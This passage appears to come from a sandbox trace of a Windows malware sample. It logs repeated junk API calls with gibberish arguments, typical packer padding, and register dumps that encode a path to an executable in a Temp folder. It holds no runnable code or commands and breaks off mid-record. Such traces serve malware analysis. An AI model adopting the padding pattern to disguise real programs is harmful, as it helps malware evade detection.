	[0066.142] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.142] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.143] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.143] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.143] GetConsoleCP () returned 0x0
	[0066.143] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.143] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.144] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.144] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.144] GetConsoleCP () returned 0x0
	[0066.144] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, 